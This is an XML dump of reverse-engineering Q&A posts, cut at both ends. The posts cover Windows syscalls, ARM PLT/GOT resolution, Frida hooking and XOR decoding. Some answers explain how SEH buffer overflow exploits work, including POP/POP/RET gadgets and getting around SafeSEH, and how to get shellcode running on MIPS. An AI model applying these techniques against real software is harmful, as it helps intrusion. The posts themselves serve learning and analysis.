0x33; // value 51 in decimal&#xA;&#xA;  for (i = 0x33;;) {&#xA;    text[4] ^= ((key[j++]) ^ (text[0])) + i;&#xA;    text[5] ^= ((key[j++]) ^ (text[1])) + i;&#xA;    text[6] ^= ((key[j++]) ^ (text[2])) + i;&#xA;    text[7] ^= ((key[j++]) ^ (text[3])) + i;&#xA;    text[1] ^= ((key[j++]) ^ (text[4])) + i;&#xA;    if (j &amp;gt;= 0x3c)&#xA;      break;&#xA;    text[2] ^= ((text[4]) ^ (text[5])) + i;&#xA;    text[3] ^= ((key[j++]) ^ (text[6])) + i;&#xA;    text[0] ^= ((key[j++]) ^ (text[7])) + i;&#xA;  }&#xA;  return text;&#xA;}&#xA;&#xA;int key[] = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,&#xA;             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,&#xA;             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,&#xA;             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,&#xA;             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,&#xA;             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41};&#xA;int text[] = {0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68};&#xA;&#xA;int main(int argc, char **argv) {&#xA;  int i, *d, *e;&#xA;  for (i = 0; i &amp;lt; 8; i++) {&#xA;    printf(&quot;%x::&quot;, text[i]);&#xA;  }&#xA;  putchar(10);&#xA;  d = decode(text, key);&#xA;  for (i = 0; i &amp;lt; 8; i++) {&#xA;    printf(&quot;%x::&quot;, d[i]);&#xA;  }&#xA;  putchar(10);&#xA;  e = encode(text, key);&#xA;  for (i = 0; i &amp;lt; 8; i++) {&#xA;    printf(&quot;%x::&quot;, e[i]);&#xA;  }&#xA;  putchar(10);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This produces the following output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;61::62::63::64::65::66::67::68::&#xA;65a::3e9::64a::bd6::5c2::11::1a9::85e::&#xA;61::62::63::64::65::66::67::68::&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to get back the original array after a &lt;code&gt;decode&lt;/code&gt; and &lt;code&gt;encode&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-09-18T04:01:47.187" LastActivityDate="2018-09-18T04:01:47.187" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19374" PostTypeId="2" ParentId="19369" CreationDate="2018-09-17T21:05:36.320" Score="4" Body="&lt;p&gt;&lt;code&gt;int 2e&lt;/code&gt; was used in systems prior to windows xp&#xA;from windows xp fast syscall is the preferred method to transition from usermode to kernel mode &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fast syscall pointer is embedded in the the Shared User Data Section &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:003&amp;gt; dt ntdll!_KUSER_SHARED_DATA  @@masm(SharedUserData) SystemCall&#xA;   +0x300 SystemCall : 0x76dd70f0&#xA;&#xA;0:003&amp;gt; uf 0x76dd70f0&#xA;ntdll!KiFastSystemCall:&#xA;76dd70f0 8bd4            mov     edx,esp&#xA;76dd70f2 0f34            sysenter&#xA;76dd70f4 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you are using a usermode debugger you cant see the internals of Nt/Zw functions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ntdll carries only the stub that transitions into kernel mode &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need a kernel debugging connection or you  have to depend on static analysis of ntos....(kr/mp).exe (kernel executive code) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use livekd from sysinternals for local debugging &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;NtCreatePort&lt;/code&gt; calls &lt;code&gt;nt!AlpcpCreateConnectionPort&lt;/code&gt; internally &#xA;which calls &lt;code&gt;NtCreateObject&lt;/code&gt;, initializes the port Attributes inserts&lt;br&gt;&#xA;the object into HANDLE Table and returns back&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a small overview of the control flow as follows (win 7 32 bit)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; uf /c nt!NtCreatePort&#xA;nt!NtCreatePort (8303f8a6)&#xA;  nt!NtCreatePort+0x22 (8303f8c8):&#xA;    call to nt!AlpcpCreateConnectionPort (8304d35c)&#xA;  nt!NtCreatePort+0x52 (8303f8f8):&#xA;    call to nt!KiCheckForKernelApcDelivery (82e74b24)&#xA;&#xA;&#xA;kd&amp;gt; uf /c nt!AlpcpCreateConnectionPort&#xA;nt!AlpcpCreateConnectionPort (8304d35c)&#xA;  nt!AlpcpCreateConnectionPort+0x7 (8304d363):&#xA;    call to nt!_SEH_prolog4 (82ecc240)&#xA;  nt!AlpcpCreateConnectionPort+0xb3 (8304d40f):&#xA;    call to nt!ObCreateObject (83072413)&#xA;  nt!AlpcpCreateConnectionPort+0xc5 (8304d421):&#xA;    call to nt!memset (82e864c0)&#xA;  nt!AlpcpCreateConnectionPort+0xf4 (8304d450):&#xA;    call to nt!AlpcpInitializePort (830b76c5)&#xA;  nt!AlpcpCreateConnectionPort+0x101 (8304d45d):&#xA;    call to nt!ObfDereferenceObject (82ec5163)&#xA;  nt!AlpcpCreateConnectionPort+0x120 (8304d47c):&#xA;    call to nt!AlpcpValidateAndSetPortAttributes (830b75a5)&#xA;  nt!AlpcpCreateConnectionPort+0x140 (8304d49c):&#xA;    call to nt!AlpcpSetOwnerProcessPort (830b77dc)&#xA;  nt!AlpcpCreateConnectionPort+0x14d (8304d4a9):&#xA;    call to nt!AlpcpAllocateBlob (830b7526)&#xA;  nt!AlpcpCreateConnectionPort+0x181 (8304d4dd):&#xA;    call to nt!AlpcInitializeHandleTable (830b7898)&#xA;  nt!AlpcpCreateConnectionPort+0x198 (8304d4f4):&#xA;    call to nt!ObInsertObjectEx (83071380)&#xA;  nt!AlpcpCreateConnectionPort+0x1d5 (8304d531):&#xA;    call to nt!_SEH_epilog4 (82ecc285)&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="2147" LastEditDate="2018-09-17T22:34:03.573" LastActivityDate="2018-09-17T22:34:03.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19375" PostTypeId="2" ParentId="19022" CreationDate="2018-09-17T21:44:03.717" Score="1" Body="&lt;p&gt;You should be able to use IDA to debug MIPS binaries. It's been a while for me, but I seem to recall IDA sometimes getting confused by the branch delay slot (the instruction following a jump/branch). If possible, set your breakpoint to whatever the jump target is rather than attempting to single step into the &lt;code&gt;jalr&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you might be getting bitten by data/instruction cache incoherency. Are you triggering a cache flush/invalidation prior to jumping into your shellcode? If not and if this is in Linux userspace, ropping into sleep() should do the trick. This is because your shellcode starts out as data and sits in the data cache until it is flushed to main memory. Only when that happens can it be fetched from main memory as instructions. A sleep() allows the kernel to briefly context switch to another process, which requires a cache flush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that you need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Stage a small sleep period (1 or 2 seconds should suffice) into &lt;code&gt;$a0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Stage a return address into &lt;code&gt;$ra&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Stage the address of &lt;code&gt;sleep()&lt;/code&gt; someplace, probably &lt;code&gt;$s0&lt;/code&gt;, where you can &lt;code&gt;jr&lt;/code&gt; to it&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;jr&lt;/code&gt; to whatever reg holds address of &lt;code&gt;sleep()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11561" LastActivityDate="2018-09-17T21:44:03.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19377" PostTypeId="2" ParentId="19372" CreationDate="2018-09-18T05:16:16.763" Score="6" Body="&lt;p&gt;First of all, read this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-litchfield.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-litchfield.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's pretty much how all this started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A SEH buffer overflow is a specific stack overflow that targets the &lt;code&gt;EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; sitting some arbitrary distance down the stack.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does this not happen for every program then since there should be an automatic exception handler in any case?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes it would, as you can't really disable SEH on Windows. Provided your buffer overflow can reach the &lt;code&gt;EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; and you can trigger an exception.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After passing the exception EIP and ESP are overwritten, with values from my buffer, yet other registers are zeroed out (EAX, EBX, ESI &amp;amp; EDI in my example).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from my &lt;code&gt;ntdll.dll&lt;/code&gt; version &lt;code&gt;10.0.17134.254&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;before being &lt;code&gt;XOR&lt;/code&gt;'d...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EAX&lt;/code&gt; holds a pointer to the current &lt;code&gt;EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; so if you have overwritten &lt;code&gt;EXCEPTION_REGISTRATION_RECORD-&amp;gt;Next&lt;/code&gt; with the payload address and set the &lt;code&gt;EXCEPTION_REGISTRATION_RECORD-&amp;gt;Handler&lt;/code&gt; to a random instruction that peformed &lt;code&gt;JMP/CALL [EAX]&lt;/code&gt;, that might be an attack vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EBX&lt;/code&gt; is already set to &lt;code&gt;0&lt;/code&gt; at the start of &lt;code&gt;RtlDispatchException&lt;/code&gt; It previously contained the &lt;code&gt;PEXCEPTION_RECORD&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ESI&lt;/code&gt; is the &lt;code&gt;PEXCEPTION_RECORD&lt;/code&gt; and &lt;code&gt;EDI&lt;/code&gt; is the &lt;code&gt;PCONTEXT&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What exactly is the deal with the zeroed out registers and why would they break shellcode execution?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They don't necessarily. Before we get to execution of the handler we have to go through &lt;code&gt;ntdll!KiDispatchUserException&lt;/code&gt; -&gt; &lt;code&gt;ntdll!RtlDispatchException&lt;/code&gt; which end up overwriting all the registers anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's why the kernel saves them in the &lt;code&gt;CONTEXT&lt;/code&gt; struct before returning to usermode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This exploit isn't a simple &lt;code&gt;EIP&lt;/code&gt; hijack. There are big changes to the stack and registers before we get execution after the exception.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why do I need POP POP RET and the final jump?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you mean why not just set the &lt;code&gt;EXCEPTION_REGISTRATION_RECORD-&amp;gt;Handler&lt;/code&gt; directly to the shellcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a ROP gadget to redirect execution to the value of &lt;code&gt;ESP+8&lt;/code&gt;. If you get this far in the exploit then the data at &lt;code&gt;ESP+8&lt;/code&gt; is controllable by you, but you might not necessarily know where that is in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, there are many sanity and security checks between the exception and the handler execution. If any of these fail the program is terminated before the handler is run. What these consist of depend on the version of Windows you are targeting. SafeSEH is one of them. Very simply it validates the handler address against a whitelist, but it can't validate for handlers in modules that were not compiled with SafeSEH. So if the POP/POP/RET comes from a module loaded and compiled without SafeSEH, ntdll cannot determine if it's malicious. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Plus eventually yet another jump.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the best part!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;ESP+8&lt;/code&gt; is where we will be landing, we can put the shellcode here. Except it's the &lt;code&gt;EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; that we need to be intact so &lt;code&gt;EXCEPTION_REGISTRATION_RECORD-&amp;gt;Handler&lt;/code&gt; makes the first part of the exploit work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, &lt;code&gt;EXCEPTION_REGISTRATION_RECORD-&amp;gt;Prev&lt;/code&gt; (which you have as &lt;code&gt;NSEH&lt;/code&gt;) represents the first 4 bytes to the shellcode where POP/POP/RET will return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short jump in x86 can be encoded with just 2 bytes. So this final jump skips 6 byte over the &lt;code&gt;NSEH&lt;/code&gt; so it can remain valid for the exploit to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This blog :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dkalemis.wordpress.com/2010/10/27/the-need-for-a-pop-pop-ret-instruction-sequence/&quot; rel=&quot;noreferrer&quot;&gt;https://dkalemis.wordpress.com/2010/10/27/the-need-for-a-pop-pop-ret-instruction-sequence/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explains the final part far better than I can.&lt;/p&gt;&#xA;" OwnerUserId="25462" LastActivityDate="2018-09-18T05:16:16.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19378" PostTypeId="1" AcceptedAnswerId="19380" CreationDate="2018-09-18T05:49:25.443" Score="6" ViewCount="575" Body="&lt;p&gt;I tried to disassemble a ELF file which is a shared object file executed on armv7a (Android). I saw a strange block. It seems  that the &lt;code&gt;PC&lt;/code&gt;, program counter register, is set to &lt;code&gt;0&lt;/code&gt;. Did I miss something or do something wrong?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The process goes into &lt;code&gt;0x1708&lt;/code&gt; in ARM mode. Below is the strange block of asm code I disassembled from the ELF file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; section: .plt&#xA;; function: function_1708 at 0x1708 -- 0x1718&#xA;0x1708:   04 e0 2d e5       str lr, [sp, #-4]!&#xA;0x170c:   04 e0 9f e5       ldr lr, [pc, #4]&#xA;0x1710:   0e e0 8f e0       add lr, pc, lr&#xA;0x1714:   08 f0 be e5       ldr pc, [lr, #8]!&#xA;; data inside code section at 0x1718 -- 0x171c&#xA;0x1718:   b4 77 00 00                                        |.w..            |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After executing line &lt;code&gt;0x170c&lt;/code&gt;, the &lt;code&gt;LR&lt;/code&gt; register should be set as the value at the address &lt;code&gt;0x1718&lt;/code&gt;. The value is &lt;code&gt;0x77b4&lt;/code&gt; (this file is stored in little-endian).  And go ahead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x1710: lr += 0x1710 + 8  // lr = 0x8ecc&#xA;0x1714: pc = *(lr + 8)    // pc = *(0x8ed4)&#xA;        lr += 8  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And 0x8ed4 is in &lt;code&gt;.got&lt;/code&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; section: .got&#xA;0x8eac:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|&#xA;0x8ebc:   00 00 00 00 58 70 00 00  e0 6e 00 00 00 00 00 00   |....Xp...n......|&#xA;0x8ecc:   00 00 00 00 00 00 00 00  00 00 00 00 08 17 00 00   |................|&#xA;0x8edc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;0x8eec:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;0x8efc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;0x8f0c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;0x8f1c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;0x8f2c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;0x8f3c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that the value at &lt;code&gt;0x8ed4&lt;/code&gt; is zero. I traced to this strange block from &lt;code&gt;JNI_OnLoad()&lt;/code&gt;, so no data should be modified before executing this block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I do something wrong, or is this a specific behavior of ARM architecture?&lt;/p&gt;&#xA;" OwnerUserId="25695" LastEditorUserId="53" LastEditDate="2018-09-18T05:58:55.173" LastActivityDate="2018-09-18T13:43:21.017" Title="Disassemble ELF - PC is set to 0?" Tags="|android|arm|assembly|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19380" PostTypeId="2" ParentId="19378" CreationDate="2018-09-18T06:52:46.823" Score="7" Body="&lt;p&gt;In fact, the behavior you are describing is coming from the usual behavior of the GOT/PLT sections. They are used to dynamically link the program calls to shared libraries functions at runtime.&lt;/p&gt;&#xA;&lt;p&gt;In fact, a shared library can be loaded at any place in the process memory, there is no way to predict statically where it will pop up. So, the GOT/PLT load the address of each library's function dynamically at runtime and cache it for further use.&lt;/p&gt;&#xA;&lt;p&gt;The way it works is pretty simple, the PLT (&lt;strong&gt;Procedure Linkage Table&lt;/strong&gt;) is just a bunch of small code gadgets (one for each library's function called in the program, plus one generic code located at the beginning of the PLT section).&lt;/p&gt;&#xA;&lt;p&gt;And, the GOT (&lt;strong&gt;Global Offset Table&lt;/strong&gt;) is just a table used to store (and cache) the addresses of the library's functions.&lt;/p&gt;&#xA;&lt;p&gt;At first, the GOT is all set to zero because no function address has been resolved yet. The GOT get filled all along the program is executed and call new functions (some functions may be called only rarely and their address may be only rarely filled in the GOT).&lt;/p&gt;&#xA;&lt;p&gt;When a library function get called the program counter goes to the PLT (see the figure below) and executes the code specifically written for this function (each of the code gadget has its own offsets to get the proper address from the GOT). But, at first, the GOT contains only zeroes, so you need to initialize it.&lt;/p&gt;&#xA;&lt;p&gt;To initialize it, you jump at the very beginning of the PLT and find the address of library's function the program want to call. You execute this code and, then, you write the address of the function in the GOT.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m4Yl3.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m4Yl3.png&quot; alt=&quot;PLT/GOT Schema (before)&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you cached the address of the function, you do not need anymore to recompute the address if you call your function and you jump directly to it (as in the following picture).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sQuX8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sQuX8.png&quot; alt=&quot;PLT/GOT Schema (after)&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the case of ARM, you have two types of GOT/PLT schemas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0242a/ch07s05s01.html&quot; rel=&quot;noreferrer&quot;&gt;Direct PLTs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0242a/BCGHGBDH.html&quot; rel=&quot;noreferrer&quot;&gt;Indirect PLTs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In your case, this is a direct PLT (but it seems to be quite old code, I would suspect an old compiler or so, because new ones better use &lt;code&gt;ip&lt;/code&gt; in place of &lt;code&gt;lr&lt;/code&gt; for that).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;; section: .plt&#xA;; function: function_1708 at 0x1708 -- 0x1718&#xA;0x1708:   04 e0 2d e5     str lr, [sp, #-4]! &amp;lt;-- Save lr on the stack&#xA;0x170c:   04 e0 9f e5     ldr lr, [pc, #4] &amp;lt;-- Get a point of reference in memory&#xA;0x1710:   0e e0 8f e0     add lr, pc, lr &amp;lt;-- Load offset to the next step&#xA;0x1714:   08 f0 be e5     ldr pc, [lr, #8]! &amp;lt;-- Jump to the next step&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the PLT is a static section, therefore the &lt;code&gt;0x170c&lt;/code&gt; will always stay the same (and, therefore, the &lt;code&gt;pc&lt;/code&gt; will always be loaded with the same value at &lt;code&gt;0x170c&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/&quot; rel=&quot;noreferrer&quot;&gt;Position Independent Code (PIC) in shared libraries&lt;/a&gt;, by Eli Bendersky.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://thinkingeek.com/2017/04/17/arm-assembler-raspberry-pi-chapter-27/&quot; rel=&quot;noreferrer&quot;&gt;ARM assembler in Raspberry Pi – Chapter 27 &lt;/a&gt;, by Roger Ferrer Ibáñez.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.slideshare.net/linaroorg/sfo15406-arm-fdpic-toolset-kernel-libraries-for-cortexm-cortexr-mmuless-cores&quot; rel=&quot;noreferrer&quot;&gt;ARM FDPIC toolset, kernel &amp;amp; libraries for Cortex-M &amp;amp; Cortex-R&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-09-18T07:04:28.200" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19381" PostTypeId="2" ParentId="18877" CreationDate="2018-09-18T09:18:58.880" Score="4" Body="&lt;p&gt;Heh, it's some kind of necroposting, but why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, under hood unity3d use 2 variants: mono, that loads C# dlls and il2cpp, that convert it to C++ before build.&#xA;For 2nd case u can use &lt;a href=&quot;https://github.com/nevermoe/unity_metadata_loader&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;unity_metadata_loader&lt;/code&gt;&lt;/a&gt; or similar products, that takes C# metadata (description of classes mostly) with it's address offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you could need to wait for &lt;code&gt;libil2cpp.so&lt;/code&gt; to load, then take it's base address, then calculate the in-memory offset by adding the base address. I use something like the following for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; var awaitForCondition = function (callback) {&#xA;     var int = setInterval(function () {&#xA;         var addr = Module.findBaseAddress('libil2cpp.so');&#xA;         if (addr) {&#xA;             console.log(&quot;Address found:&quot;, addr);&#xA;             clearInterval(int);&#xA;             callback(+addr);&#xA;             return;&#xA;         }&#xA;     }, 0);&#xA; }&#xA;awaitForCondition((baseAddr)=&amp;gt;{&#xA;    var realAddr = ptr(baseAddr+offset);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case of mono(your case, I think), you can try to read this  &lt;a href=&quot;https://habr.com/post/345356/&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt; (russian language, but with code samples). Basically you need to hook mono's &lt;code&gt;mono_image_open_full&lt;/code&gt;, if I remember correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I'm not sure, what is Assembly-CSharp.dll.so, becouse of it's just C# dll, not so binary.&lt;/p&gt;&#xA;" OwnerUserId="25698" LastEditorUserId="18317" LastEditDate="2018-09-18T13:57:49.280" LastActivityDate="2018-09-18T13:57:49.280" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19385" PostTypeId="2" ParentId="19378" CreationDate="2018-09-18T13:43:21.017" Score="5" Body="&lt;p&gt;While the other answer is not wrong, it does not actually cover the real issue: how come that calling a zero address does not lead to a crash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK there is no official standard or complete documentation for this, but &lt;em&gt;de facto&lt;/em&gt; the first few GOT entries are special/reserved and are used by the dynamic loader/linker (sometimes also called &lt;em&gt;interpreter&lt;/em&gt;) for its own purposes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;GOT[0]&lt;/code&gt; points to the &lt;code&gt;_DYNAMIC&lt;/code&gt; symbol of the current module which is the start of the list of tags (&lt;code&gt;Elf32_Dyn&lt;/code&gt; entries) with the various information necessary for proper resolution of dynamic symbols. See the &lt;a href=&quot;http://www.sco.com/developers/gabi/latest/ch5.dynamic.html&quot; rel=&quot;noreferrer&quot;&gt;ELF specification&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;GOT[1]&lt;/code&gt; is populated &lt;em&gt;at runtime&lt;/em&gt; with the pointer to the &lt;code&gt;link_map&lt;/code&gt; structure containing the list of all dynamic images present in the process. This list resides in the dynamic linker (&lt;code&gt;ld.so&lt;/code&gt; on Linux systems and &lt;code&gt;linker&lt;/code&gt; binary on Android).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;GOT[2]&lt;/code&gt; is also filled in by the dynamic linker and points to the &lt;em&gt;resolver function&lt;/em&gt; (&lt;code&gt;_dl_runtime_resolve&lt;/code&gt; in glibc, not sure on Android).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The snippet you quoted is the &lt;em&gt;resolver stub&lt;/em&gt; which is called on first call of an external symbol (you can see that all GOT entries are initialized to its address, &lt;code&gt;1708&lt;/code&gt;). It fetches &lt;code&gt;GOT[2]&lt;/code&gt; and jumps to it, which should end up in the dynamic linker, which would look up the symbol, patch the GOT entry and jump to the function as the last step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, there are no (AFAIK) official docs on this, just random pieces of the ELF ABI spec, glibc source code and various blog posts. I would suggest you to step through this code in a debugger to see what actually happens, and match it against the source code. In addition to links from @&lt;strong&gt;perror&lt;/strong&gt;, I found &lt;a href=&quot;http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html&quot; rel=&quot;noreferrer&quot;&gt;this post&lt;/a&gt; which explains some of the reserved GOT entries (although for x64 Linux and not ARM Android).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-18T13:43:21.017" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19386" PostTypeId="1" CreationDate="2018-09-18T13:44:51.307" Score="3" ViewCount="3439" Body="&lt;p&gt;I am reverse engineering an APK file. From the AndroidManifest.xml file, I found the class name (com.dfmlhsd.xecpwdugfsln.hnzpsm.KeQXGRNGu) corresponding to Main Action as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;application android:allowBackup=&quot;true&quot; android:icon=&quot;@mipmap/ic_launcher&quot; android:label=&quot;System Message&quot; android:name=&quot;com.diaisde.miatsnmd.rgEnPhtA&quot; android:supportsRtl=&quot;true&quot; android:theme=&quot;@android:style/Theme.Translucent.NoTitleBar&quot;&amp;gt;&#xA;    &amp;lt;activity android:exported=&quot;false&quot; android:name=&quot;com.google.android.gms.common.api.GoogleApiActivity&quot; android:theme=&quot;@android:style/Theme.Translucent.NoTitleBar&quot;/&amp;gt;&#xA;    &amp;lt;meta-data android:name=&quot;com.google.android.gms.version&quot; android:value=&quot;12211000&quot;/&amp;gt;&#xA;    &amp;lt;meta-data android:name=&quot;android.support.VERSION&quot; android:value=&quot;26.1.0&quot;/&amp;gt;&#xA;    &amp;lt;meta-data android:name=&quot;android.arch.lifecycle.VERSION&quot; android:value=&quot;27.0.0-SNAPSHOT&quot;/&amp;gt;&#xA;    &amp;lt;activity 